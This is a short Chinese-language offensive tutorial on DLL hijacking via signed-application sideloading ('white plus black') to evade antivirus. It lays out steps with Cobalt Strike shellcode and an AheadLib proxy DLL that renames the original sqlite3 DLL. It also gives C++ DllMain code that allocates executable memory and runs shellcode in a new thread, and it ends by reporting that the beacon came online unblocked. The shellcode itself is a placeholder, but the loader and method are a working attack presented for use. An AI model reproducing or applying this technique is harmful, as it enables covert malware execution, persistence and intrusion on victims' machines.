0x01 前言
DLL劫持可以用作权限维持,权限提升等作用,下面介绍一下在有杀毒软件的情况下dll劫持通过白加黑的方式获取权限,上线目标。
杀软在检测一个应用是否为病毒的时候,首先会通过黑白名单校验-病毒特征库查询-上传云查杀,在黑白名单校验阶段,如果是白名单中的应用则可以成功运行,白名单也就是有数字签名的应用,我们可以通过修改有数字签名应用中的dll,当该应用启动时会调用该dll,从而上线目标。
0x02 复现
使用cs生成shellcode
使用管理员权限打开Aheadlib+ 选择要劫持转发的dll,点击生成
将原始的DLL改名换成sqlite3Org
将生成的.cpp文件的内容复制到创建的dll项目
找到dll入口点
#include <Windows.h>
#include "pch.h"
········(为生成的.cpp文件的内容)
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
unsigned char buf[] = "shellcode";
void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);//分配内存空间,赋予执行读取权限
memcpy(exec, buf, sizeof(buf));//将buf的内容拷贝到内存中
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode,将地址转换成可运行的线程函数
if (dwReason == DLL_PROCESS_ATTACH)
{
DisableThreadLibraryCalls(hModule);
return Load();
}
else if (dwReason == DLL_PROCESS_DETACH)
{
Free();
}
return TRUE;
}
········(为生成的.cpp文件的内容)
编译生成dll文件
替换目标应用中的dll
运行 未拦截 成功上线